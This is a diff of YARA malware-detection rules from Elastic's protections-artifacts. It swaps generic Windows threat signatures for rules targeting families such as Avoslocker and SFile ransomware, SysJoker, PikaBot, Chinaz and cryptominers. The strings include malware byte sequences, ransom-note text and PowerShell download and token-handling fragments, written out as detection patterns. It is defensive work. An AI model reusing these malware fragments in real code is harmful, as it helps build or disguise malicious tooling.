+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "73327429c505d8c5fd690a8ec019ed4fd5a726b607cabe71509111c7bfe9fc7e"
+		logic_hash = "dccbf6fa46de1a8bc6438578b651055e2d02d15bd04461be74059e6fde40fca3"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY"
-		fingerprint = "8fb9fcf8b9c661e4966b37a107d493e620719660295b200cfc67fc5533489dee"
+		quality = 75
+		tags = "FILE"
+		fingerprint = "c38c456a008b847c42c45f824b125e7308b8aa41771d3db3d540690b13147abc"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 54 68 61 74 20 70 72 6F 67 72 61 6D 20 6D 75 73 74 20 62 65 20 72 75 6E 20 75 6E 64 65 72 20 57 69 6E 33 32 }
+		$str1 = "\\BS_RCIO.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
 }
-rule ELASTIC_Windows_Generic_Threat_Da0F3Cbb : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Chinaz_A2140Ca1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Chinaz (Linux.Trojan.Chinaz)"
 		author = "Elastic Security"
-		id = "da0f3cbb-e894-48a3-9169-b011e7ab278d"
-		date = "2024-01-22"
-		modified = "2024-02-08"
+		id = "a2140ca1-0a72-4dcb-bf7c-2f51e84a996b"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1991-L2009"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b2c456d0051ffe1ca7e9de1e944692b10ed466eabb38242ea88e663a23157c58"
-		logic_hash = "262d0bbb69adde8c4c8645813b048f3aaa2dbcc83996606e7ca21c3edea2b5d8"
-		score = 75
-		quality = 75
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Chinaz.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7c44c2ca77ef7a62446f6266a757817a6c9af5e010a219a43a1905e2bc5725b0"
+		logic_hash = "c9c63114e45b45b1c243af1f719cddc838a06a1f35d65dca6a2fb5574047eff0"
+		score = 60
+		quality = 45
 		tags = "FILE, MEMORY"
-		fingerprint = "f50116e1f153d2a0e1e2dad879ba8bd6ac9855a563f6cbcbe6b6a06a96e86299"
-		severity = 50
+		fingerprint = "ac620f3617ea448b2ad62f06490c37200fa0af8a6fe75a6a2a294a7b5b4a634a"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 8B EC 8B 45 0C 53 56 83 F8 FF 57 8B F1 74 03 89 46 10 8B 7D 08 33 DB 3B FB 75 17 FF 76 04 E8 C6 09 00 00 59 89 5E 04 89 5E 0C 89 5E 08 E9 D9 00 00 00 8B 4E 04 3B CB 75 23 8D 1C 3F 53 E8 7E }
+		$a = { C0 53 8B 74 24 0C 8B 5C 24 10 8D 74 26 00 89 C2 89 C1 C1 FA 03 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_7D555B55 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Avoslocker_7Ae4D4F2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Ransomware Avoslocker (Windows.Ransomware.Avoslocker)"
 		author = "Elastic Security"
-		id = "7d555b55-20fb-42d4-b337-c267a34fd459"
-		date = "2024-01-22"
-		modified = "2024-02-08"
+		id = "7ae4d4f2-be5f-4aad-baaa-4182ff9cf996"
+		date = "2021-07-28"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2011-L2029"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7efa5c8fd55a20fbc3a270cf2329d4a38f10ca372f3428bee4c42279fbe6f9c3"
-		logic_hash = "dc3a3622abbc7d0a02d8d9ed4446d0a72a603ecfd6594ecfa615e5418a9c9970"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Avoslocker.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "43b7a60c0ef8b4af001f45a0c57410b7374b1d75a6811e0dfc86e4d60f503856"
+		logic_hash = "c87faf6f128fd6a8cabd68ec8de72fb10e6be42bdbe23ece374dd8f3cf0c1b15"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "eedf850c3576425fb37291f954dfa39db758cdad0a38f85581d2bcaedcb54769"
-		severity = 50
+		fingerprint = "0e5ff268ed2b62f9d31df41192135145094849a4e6891407568c3ea27ebf66bb"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 EC 40 53 56 57 6A 0F 59 BE 84 77 40 00 8D 7D C0 8B 5D 0C F3 A5 66 A5 8B CB 33 C0 A4 8B 7D 08 8B D1 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA 33 C0 8D 7D 0E 50 66 AB FF 15 BC 60 40 00 50 }
+		$a1 = "drive %s took %f seconds" ascii fullword
+		$a2 = "client_rsa_priv: %s" ascii fullword
+		$a3 = "drive: %s" ascii fullword
+		$a4 = "Map: %s" ascii fullword
+		$a5 = "encrypting %ls failed" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_0A38C7D0 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Nuker_12F26779 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Nuker (Linux.Trojan.Nuker)"
 		author = "Elastic Security"
-		id = "0a38c7d0-8f5e-4dcf-9aaf-5fcf96451d3c"
-		date = "2024-01-22"
-		modified = "2024-02-08"
+		id = "12f26779-bda5-45b1-925f-75c620d7d840"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2031-L2049"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "69ea7d2ea3ed6826ddcefb3c1daa63d8ab53dc6e66c59cf5c2506a8af1c62ef4"
-		logic_hash = "e3fde76825772683c57f830759168fc9a3b3f3387f091828fd971e9ebba06d8a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Nuker.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "440105a62c75dea5575a1660fe217c9104dc19fb5a9238707fe40803715392bf"
+		logic_hash = "8bafbc2792bd4cacd309efd72d2d8787342685d66785ea41cb57c91519a3c545"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "43998ceb361ecf98d923c0388c00023f19d249a5ac0011dee0924fdff92af42b"
-		severity = 50
+		fingerprint = "9093a96321ad912f2bb953cce460d0945c1c4e5aacd8431f343498203b85bb9b"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 8B EC 8B 4D 08 85 C9 74 37 8B 45 0C 3D E0 10 00 00 7C 05 B8 E0 10 00 00 85 C0 7E 24 8D 50 FF B8 AB AA AA AA F7 E2 D1 EA 83 C1 02 42 53 8B FF 8A 41 FE 8A 19 88 59 FE 88 01 83 C1 03 4A 75 F0 }
+		$a = { C4 18 89 45 D8 83 7D D8 FF 75 17 68 ?? ?? 04 08 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_98527D90 : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Sfile_9E347B52 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Ransomware Sfile (Linux.Ransomware.SFile)"
 		author = "Elastic Security"
-		id = "98527d90-90fb-4428-ab3f-6bbf23139a6e"
-		date = "2024-01-24"
-		modified = "2024-02-08"
+		id = "9e347b52-233a-4956-9f1f-7600c482e280"
+		date = "2023-07-29"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2051-L2069"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fa24e7c6777e89928afa2a0afb2fab4db854ed3887056b5a76aef42ae38c3c82"
-		logic_hash = "5a93f0a372f3a51233c6b2334539017df922f35a0d5f7d1749e0dd79268cb836"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_SFile.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "49473adedc4ee9b1252f120ad8a69e165dc62eabfa794370408ae055ec65db9d"
+		logic_hash = "394571fd5746132d15da97428c3afc149435d91d5432eadf1c838d4a6433c7c1"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "dac4d9e370992cb4a064d64660801fa165a7e0a1f4a52e9bc3dc286395dcbc91"
-		severity = 50
+		fingerprint = "094af0030d51d1e28405fc02a51ccc1bedf9e083b3d24b82c36f4b397eefbb0b"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 20 FF D5 48 8D 87 0F 02 00 00 80 20 7F 80 60 28 7F 4C 8D 4C 24 20 4D 8B 01 48 89 DA 48 89 F9 FF D5 48 83 C4 28 5D 5F 5E 5B 48 8D 44 24 80 6A 00 48 39 C4 75 F9 48 83 EC 80 E9 8D 70 FC }
+		$a1 = { 49 74 27 73 20 6A 75 73 74 20 61 20 62 75 73 69 6E 65 73 73 2E }
+		$a2 = { 41 6C 6C 20 64 61 74 61 20 69 73 20 70 72 6F 70 65 72 6C 79 20 70 72 6F 74 65 63 74 65 64 20 61 67 61 69 6E 73 74 20 75 6E 61 75 74 68 6F 72 69 7A 65 64 20 61 63 63 65 73 73 20 62 79 20 73 74 65 61 64 79 20 65 6E 63 72 79 70 74 69 6F 6E 20 74 65 63 68 6E 6F 6C 6F 67 79 2E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Baba80Fb : FILE MEMORY
+rule ELASTIC_Windows_Cryptominer_Generic_Dd1E4D1A : FILE
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Cryptominer Generic (Windows.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "baba80fb-1d8a-424c-98e2-904c8f2e4f09"
-		date = "2024-01-24"
-		modified = "2024-02-08"
+		id = "dd1e4d1a-2e2f-4af0-bd66-2e12367dd064"
+		date = "2021-01-12"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2071-L2089"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dd22cb2318d66fa30702368a7f06e445fba4b69daf9c45f8e83562d2c170a073"
-		logic_hash = "ba0da35bc00b776ae9b427e3a4b312b1b75bdc9b972fb52f26a5df6737f1ddc9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Cryptominer_Generic.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7ac1d7b6107307fb2442522604c8fa56010d931392d606ac74dcea6b7125954b"
+		logic_hash = "b7289c4688ec67d59e67755461f1f4e0c3f47ef9f8c73fc1dcc1d168baf11623"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "71d9345d0288bfbbf7305962e5e316801d4a5cba332c5f4167f8e4f39cff6f61"
-		severity = 50
+		tags = "FILE"
+		fingerprint = "a00e3e08e11d10a7a4bf1110a5110e4d0a4d2acf0974aca9dfc1ad5f21c80df7"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 EC 0C 8B 4D 0C 53 56 57 8B 59 20 8D 71 20 8B F9 89 75 FC 85 DB 89 7D 0C 75 05 8B 59 24 EB 0C 8D 41 24 89 45 F8 8B 00 85 C0 75 30 8B 51 28 8B 41 2C 85 DB 74 03 89 53 28 85 D2 74 15 }
+		$a = { EF F9 66 0F EF FA 66 0F FE FE 66 0F 6F B0 B0 00 00 00 66 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_9F4A80B2 : FILE MEMORY
+rule ELASTIC_Windows_Cryptominer_Generic_F53Cfb9B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Cryptominer Generic (Windows.Cryptominer.Generic)"
 		author = "Elastic Security"
-		id = "9f4a80b2-e1ee-4825-a5e5-79175213da7d"
-		date = "2024-01-24"
-		modified = "2024-02-08"
+		id = "f53cfb9b-0286-4e7e-895e-385b6f64c58a"
+		date = "2024-03-05"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2091-L2109"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "47d57d00e2de43f33cd56ff653adb59b804e4dbe37304a5fa6a202ee20b50c24"
-		logic_hash = "1df3b8245bc0e995443d598feb5fe2605e05df64b863d4f47c17ecbe8d28c3ea"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Cryptominer_Generic.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a9870a03ddc6543a5a12d50f95934ff49f26b60921096b2c8f2193cb411ed408"
+		logic_hash = "b2453862747e251afc34c57e887889b8d3a65a9cc876d4a95ff5ecfcc24e4bd3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "86946aea009f8debf5451ae7894529dbcf79ec104a51590d542c0d64a06f2669"
+		fingerprint = "2b66960ee7d423669d0d9e9dcd22ea6e1c0843893e5e04db92237b67b43d645c"
 		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -94436,57 +98448,60 @@ rule ELASTIC_Windows_Generic_Threat_9F4A80B2 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 28 00 00 0A 2A 20 02 00 00 00 FE 0E 08 00 00 FE 0C 08 00 20 00 00 00 00 FE 01 39 0A 00 00 00 00 20 01 00 00 00 FE 0E 08 00 00 FE 0C 08 00 20 02 00 00 00 FE 01 39 05 00 00 00 38 05 00 00 00 38 }
+		$a1 = { 48 81 EC B8 00 00 00 0F AE 9C 24 10 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F AE 94 24 14 01 00 00 4C 8B A9 E0 00 00 00 4C 8B CA 4C 8B 51 20 4C 8B C1 4C 33 11 ?? ?? ?? ?? ?? ?? 4C 8B 59 28 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_39E1Eb4C : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Sysjoker_1Ef19A12 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Sysjoker (Windows.Trojan.SysJoker)"
 		author = "Elastic Security"
-		id = "39e1eb4c-32ba-4c78-9997-1c75b41dcba6"
-		date = "2024-01-24"
-		modified = "2024-02-08"
+		id = "1ef19a12-ee26-47da-8d65-272f6749b476"
+		date = "2022-02-17"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2111-L2129"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a733258bf04ffa058db95c8c908a79650400ebd92600b96dd28ceecac311f94a"
-		logic_hash = "d7791ae7513bc5645bcfa93a2d7bf9f7ef47a6727ea2ba5eb85f3c8528761429"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SysJoker.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "61df74731fbe1eafb2eb987f20e5226962eeceef010164e41ea6c4494a4010fc"
+		logic_hash = "25bd58d546549d208f9f95f4c27d1e58f86f87750dae1e293544cc92b25f8b32"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "63d21d89b4ceea1fbc44a1dfd2dbb9ac3eb945884726a9809133624b10168c7a"
-		severity = 50
+		fingerprint = "9123af8b8b27ebfb9199e70eb34d43378b1796319186d5d848d650a8be02d5d5"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 E4 F8 83 EC 6C 53 56 8B 75 08 57 8B C6 8D 4C 24 58 E8 26 80 00 00 8B C6 8D 4C 24 38 E8 1B 80 00 00 80 7C 24 54 00 8B 7E 0C 8B 5E 08 89 7C 24 1C 74 09 8B 74 24 50 E8 61 80 00 00 83 }
+		$a1 = "';Write-Output \"Time taken : $((Get - Date).Subtract($start_time).Seconds) second(s)\"" ascii fullword
+		$a2 = "powershell.exe Expand-Archive -LiteralPath '" ascii fullword
+		$a3 = "powershell.exe Invoke-WebRequest -Uri '" ascii fullword
+		$a4 = "\\recoveryWindows.zip" ascii fullword
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Windows_Generic_Threat_D51Dd31B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Sysjoker_34559Bcd : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Sysjoker (Windows.Trojan.SysJoker)"
 		author = "Elastic Security"
-		id = "d51dd31b-1735-4fd7-9906-b07406a9d20c"
-		date = "2024-01-24"
-		modified = "2024-02-08"
+		id = "34559bcd-661a-4213-b896-2d7f882a16ef"
+		date = "2022-02-21"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2131-L2150"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2a61c0305d82b6b4180c3d817c28286ab8ee56de44e171522bd07a60a1d8492d"
-		logic_hash = "85fc7aa81489b304c348ead2d7042bb5518ff4579b1d3e837290032c4b144e47"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SysJoker.yar#L24-L48"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1ffd6559d21470c40dcf9236da51e5823d7ad58c93502279871c3fe7718c901c"
+		logic_hash = "ebe7f6037f14e37b6efe81614c06c6d26fe0cc17d0475b8b19715f80d0d9aad3"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f313354a52ba8058c36aea696fde5548c7eb9211cac3b6caa511671445efe2a7"
+		fingerprint = "b1e01d0b94a60f6f5632a14d3d32f78bbe3049886ea3a3e838a29fb790a45918"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -94494,2043 +98509,2437 @@ rule ELASTIC_Windows_Generic_Threat_D51Dd31B : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 7E 7D 7C 7B 7A 79 78 78 76 77 74 73 72 }
-		$a2 = { 6D 6C 6B 6A 69 68 67 66 65 64 63 62 61 60 60 5E 66 60 5B 5A }
+		$a1 = "\\txc1.txt\" && type \"" ascii fullword
+		$a2 = "tempo1.txt" nocase
+		$a3 = "user_token="
+		$a4 = "{\"status\":\"success\",\"result\":\"" ascii fullword
+		$a5 = "\",\"av\":\"" ascii fullword
+		$a6 = "aSwpEHc0QyIxPRAqNmkeEwskMW8HODkkYRkCICIrJysHNmtlIzQiChMiGAxzQg==" ascii fullword
+		$a7 = "ESQuBT8uQyglJy4QOicGXDMiayYtPQ==" ascii fullword
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Windows_Generic_Threat_3A321F0A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Pikabot_8C6750B5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Pikabot (Windows.Trojan.PikaBot)"
 		author = "Elastic Security"
-		id = "3a321f0a-2775-455f-b8c2-30591ebfe4ac"
-		date = "2024-01-29"
-		modified = "2024-02-08"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2152-L2170"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "91056e8c53dc1e97c7feafab31f0943f150d89a0b0026bcfb3664d2e93ccfe2b"
-		logic_hash = "83834dd7d4df5de4b6a032f1896f52c1ebdf16ca8ad9766e8872243f1a6da67e"
+		id = "8c6750b5-d232-4b72-8fe0-3a00f7058420"
+		date = "2023-06-05"
+		modified = "2023-06-19"
+		reference = "https://www.elastic.co/security-labs/pikabot-i-choose-you"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_PikaBot.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "59f42ecde152f78731e54ea27e761bba748c9309a6ad1c2fd17f0e8b90f8aed1"
+		logic_hash = "03e36f927513625d1dd997c79843b1b14e344e8411155740213d7aff9794c5c6"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "230c3bbc70ec93888f5cd68598dcc004844db67f17d1048a51f6c6408bc4a956"
-		severity = 50
+		fingerprint = "5995c2857b660d92afc197d8a2b0323f4b4f6a0d65d1aeea5d53353c10e8092a"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 EC 44 8D 45 14 8B 4D 10 85 C9 89 5D F8 89 7D FC 0F 8E 3D 01 00 00 49 8D 55 17 83 E2 FC 89 4D 10 85 C9 8D 42 08 8B 58 F8 8B 78 FC 89 5D D4 89 7D D8 0F 8E 31 01 00 00 83 C2 0B 49 83 }
+		$byte_seq0 = { B8 00 00 00 00 CD 2D 90 C3 CC CC CC CC CC CC CC }
+		$byte_seq1 = { 64 A1 30 00 00 00 8B 40 ?? C3 }
+		$byte_seq2 = { 8B 45 FC 8B 44 85 B4 89 45 F0 8B 45 08 89 45 F8 8B 45 10 C1 E8 02 89 45 F4 }
+		$byte_seq3 = { 8B 4C 8D BC ?? 75 FC 33 C0 64 A1 30 00 00 00 8B 40 68 83 E0 70 89 45 FC }
+		$byte_seq4 = { 8B 45 F8 8B 4D 0C 89 08 8B 45 F8 83 C0 04 89 45 F8 8B 45 F4 48 89 45 F4 }
+		$byte_seq5 = { 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 8B 00 8B 40 18 C3 }
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Windows_Generic_Threat_A82F45A8 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Pikabot_5B220E9C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Pikabot (Windows.Trojan.PikaBot)"
 		author = "Elastic Security"
-		id = "a82f45a8-8e47-4966-9d48-9af61a21ac42"
-		date = "2024-01-29"
+		id = "5b220e9c-3232-4a86-82b7-31f96c95242c"
+		date = "2024-02-06"
 		modified = "2024-02-08"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L2172-L2190"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ad07428104d3aa7abec2fd86562eaa8600d3e4b0f8d78ba1446f340d10008b53"
-		logic_hash = "70ebab6b03af38ef8c81664cf49ab07066a9672666599d99c91291a9d2e3af0b"
+		reference = "https://www.elastic.co/security-labs/pikabot-i-choose-you"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_PikaBot.yar#L27-L52"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d836b06b0118e6d258e318b1cfdc509cacc0859c6a6b3d7c5f4d2525e00d97b2"
+		logic_hash = "1d2158716b7c32734f12f8528352a3872e21fea2f9b21a36d6ac44fcd50a9f3c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e3a1faabc15e2767eb065f4e2a7c6f75590cba1368db1aab1af972a5aeca4031"
-		severity = 50
+		fingerprint = "3a7ba8156f9ad017cdb8630770bf900c198215306a125f6f7dcd845f2c683948"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 51 89 4D FC 8B 4D 08 51 8B 4D FC 83 C0 04 E8 66 7D F6 FF 59 5D C2 08 00 90 55 8B EC 51 89 4D FC 8B 4D 08 51 41 51 8B 4D FC E8 CF FF FF FF 59 5D C2 04 00 8B C0 55 8B EC 83 C4 F8 53 56 }
+		$byte_seq0 = { 03 44 95 ?? 42 83 FA ?? 7C ?? EB ?? }
+		$byte_seq1 = { 3B C1 73 ?? 80 3C 18 ?? 75 ?? C6 04 18 ?? 40 EB ?? }
+		$byte_seq2 = { 03 C7 03 C8 0F B6 F9 8A 84 3D 34 FD FF FF 88 84 35 34 FD FF FF }
+		$byte_seq3 = { 55 8B EC 83 EC 0C 33 C0 C7 45 F4 05 00 00 00 C7 45 F8 32 00 00 00 8B D0 C7 45 FC C9 FF FF FF }
+		$byte_seq4 = { 55 8B EC 51 51 53 56 89 55 F8 89 4D FC 8B 75 FC 8B 45 F8 33 C9 0F A2 89 06 89 5E 04 89 4E 08 89 }
+		$byte_seq5 = { 8D 5D E8 59 33 D2 C7 45 F8 04 00 00 00 8A 03 8D 0C 16 43 88 04 39 83 6D F8 01 8D 52 04 75 EE 46 }
+		$byte_seq6 = { 55 8B EC 51 51 53 56 89 55 F8 89 4D FC 8B 75 FC 8B 45 F8 33 C9 0F A2 89 06 89 5E 04 89 4E 08 89 }
 
 	condition:
-		all of them
+		2 of them
